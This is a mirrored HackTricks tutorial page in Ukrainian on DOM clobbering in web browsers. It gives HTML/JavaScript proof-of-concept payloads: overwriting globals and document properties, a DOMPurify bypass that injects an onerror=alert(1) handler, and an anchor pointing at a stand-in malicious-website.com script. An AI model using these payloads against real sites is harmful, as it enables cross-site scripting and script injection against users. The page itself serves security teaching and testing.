mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
220 lines
13 KiB
Markdown
220 lines
13 KiB
Markdown
# Dom Clobbering
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Основи**
|
||
|
||
Можливо генерувати **глобальні змінні в контексті JS** з атрибутами **`id`** та **`name`** в HTML тегах.
|
||
```html
|
||
<form id="x"></form>
|
||
<script>
|
||
console.log(typeof document.x) //[object HTMLFormElement]
|
||
</script>
|
||
```
|
||
**Тільки** певні елементи можуть використовувати **атрибут name** для кловерінгу глобальних змінних, це: `embed`, `form`, `iframe`, `image`, `img` та `object`.
|
||
|
||
Цікаво, що коли ви використовуєте **елемент форми** для **кловерінгу** змінної, ви отримаєте **`toString`** значення самого елемента: `[object HTMLFormElement]`, але з **якорем** **`toString`** буде якорний **`href`**. Тому, якщо ви кловерите за допомогою **`a`** тегу, ви можете **контролювати** **значення**, коли воно **обробляється як рядок**:
|
||
```html
|
||
<a href="controlled string" id="x"></a>
|
||
<script>
|
||
console.log(x) //controlled string
|
||
</script>
|
||
```
|
||
### Масиви та Атрибути
|
||
|
||
Також можливо **перезаписати масив** та **атрибути об'єкта**:
|
||
```html
|
||
<a id="x">
|
||
<a id="x" name="y" href="controlled">
|
||
<script>
|
||
console.log(x[1]) //controlled
|
||
console.log(x.y) //controlled
|
||
</script></a
|
||
></a
|
||
>
|
||
```
|
||
Щоб перезаписати **третій атрибут** (наприклад, x.y.z), вам потрібно використовувати **`form`**:
|
||
```html
|
||
<form id="x" name="y"><input id="z" value="controlled" /></form>
|
||
<form id="x"></form>
|
||
<script>
|
||
alert(x.y.z.value) //controlled
|
||
</script>
|
||
```
|
||
Клобберинг більше атрибутів є **більш складним, але все ще можливим**, використовуючи iframes:
|
||
```html
|
||
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(x.y) //controlled
|
||
</script>
|
||
```
|
||
> [!WARNING]
|
||
> Тег style використовується для **надання достатньо часу iframe для рендерингу**. Без нього ви отримаєте сповіщення про **undefined**.
|
||
|
||
Щоб змінити глибші атрибути, ви можете використовувати **iframes з html кодуванням** таким чином:
|
||
```html
|
||
<iframe
|
||
name="a"
|
||
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(a.b.c.d.e) //controlled
|
||
</script>
|
||
```
|
||
### **Обхід фільтра**
|
||
|
||
Якщо фільтр **перебирає** **властивості** вузла, використовуючи щось на зразок `document.getElementByID('x').attributes`, ви можете **перезаписати** атрибут **`.attributes`** і **зламати фільтр**. Інші властивості DOM, такі як **`tagName`**, **`nodeName`** або **`parentNode`** та інші також є **перезаписуваними**.
|
||
```html
|
||
<form id="x"></form>
|
||
<form id="y">
|
||
<input name="nodeName" />
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById("x").nodeName) //FORM
|
||
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Перезапис `window.someObject`**
|
||
|
||
В JavaScript часто можна зустріти:
|
||
```javascript
|
||
var someObject = window.someObject || {}
|
||
```
|
||
Маніпулювання HTML на сторінці дозволяє перезаписати `someObject` з DOM-елементом, що потенційно вводить уразливості безпеки. Наприклад, ви можете замінити `someObject` на елемент посилання, що вказує на шкідливий скрипт:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
У вразливому коді, такому як:
|
||
```html
|
||
<script>
|
||
window.onload = function () {
|
||
let someObject = window.someObject || {}
|
||
let script = document.createElement("script")
|
||
script.src = someObject.url
|
||
document.body.appendChild(script)
|
||
}
|
||
</script>
|
||
```
|
||
Цей метод використовує джерело скрипта для виконання небажаного коду.
|
||
|
||
**Трюк**: **`DOMPurify`** дозволяє використовувати протокол **`cid:`**, який **не кодує URL подвійні лапки**. Це означає, що ви можете **впровадити закодовану подвійні лапки, яка буде декодована під час виконання**. Тому, впровадження чогось на кшталт **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** змусить HTML закодоване `"` бути **декодованим під час виконання** і **вийти** з значення атрибута, щоб **створити** подію **`onerror`**.
|
||
|
||
Інша техніка використовує елемент **`form`**. Деякі бібліотеки на стороні клієнта перевіряють атрибути новоствореного елемента форми, щоб очистити їх. Однак, додавши `input` з `id=attributes` всередині форми, ви ефективно перезаписуєте властивість атрибутів, запобігаючи санітайзеру доступ до фактичних атрибутів.
|
||
|
||
Ви можете [**знайти приклад цього типу клобберингу в цьому CTF звіті**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Клобберинг об'єкта документа
|
||
|
||
Згідно з документацією, можливо перезаписати атрибути об'єкта документа, використовуючи DOM Clobbering:
|
||
|
||
> Інтерфейс [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [підтримує іменовані властивості](https://webidl.spec.whatwg.org/#dfn-support-named-properties). [Підтримувані імена властивостей](https://webidl.spec.whatwg.org/#dfn-supported-property-names) об'єкта [Document](https://html.spec.whatwg.org/multipage/dom.html#document) в будь-який момент складаються з наступних, у [деревоподібному порядку](https://dom.spec.whatwg.org/#concept-tree-order) відповідно до елемента, який їх надав, ігноруючи пізні дублікати, і з значеннями з атрибутів [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), які йдуть перед значеннями з атрибутів name, коли один і той же елемент надає обидва:
|
||
>
|
||
> \- Значення атрибута вмісту name для всіх [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) та [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) елементів, які мають непорожній атрибут вмісту name і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- Значення атрибута вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [експонованих](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) елементів, які мають непорожній атрибут вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- Значення атрибута вмісту [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) для всіх [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) елементів, які мають як непорожній атрибут [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), так і непорожній атрибут вмісту name, і знаходяться [в дереві документа](https://dom.spec.whatwg.org/#in-a-document-tree) з документом як їх [коренем](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Використовуючи цю техніку, ви можете перезаписати загальновживані **значення, такі як `document.cookie`, `document.body`, `document.children`**, і навіть методи в інтерфейсі Document, такі як `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Написання після елемента, що був знищений
|
||
|
||
Результати викликів **`document.getElementById()`** та **`document.querySelector()`** можуть бути змінені шляхом ін'єкції тегу `<html>` або `<body>` з ідентичним атрибутом id. Ось як це можна зробити:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">
|
||
clobbered
|
||
</html>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
alert(document.querySelector(".x").innerText) // Clobbered
|
||
</script>
|
||
</p>
|
||
```
|
||
Крім того, використовуючи стилі для приховування цих ін'єкованих HTML/body тегів, можна запобігти втручанню з іншого тексту в `innerText`, тим самим підвищуючи ефективність атаки:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
<style>
|
||
p {
|
||
display: none;
|
||
}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Дослідження SVG виявили, що тег `<body>` також може бути ефективно використаний:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<body id="cdnDomain">
|
||
clobbered
|
||
</body>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Для того щоб HTML тег працював в SVG в браузерах, таких як Chrome і Firefox, необхідний тег `<foreignobject>`:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
Можливо додати **нові записи всередині форми**, просто **вказавши атрибут `form`** всередині деяких тегів. Ви можете використовувати це, щоб **додати нові значення всередині форми** і навіть додати нову **кнопку** для **відправки** (клікджекинг або зловживання деяким кодом JS `.click()`):
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form="id-other-form" name="info">
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
- Для отримання додаткових атрибутів форми в [**кнопці перевірте це**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||
|
||
## Посилання
|
||
|
||
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
- Heyes, Gareth. JavaScript для хакерів: навчіться думати як хакер.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|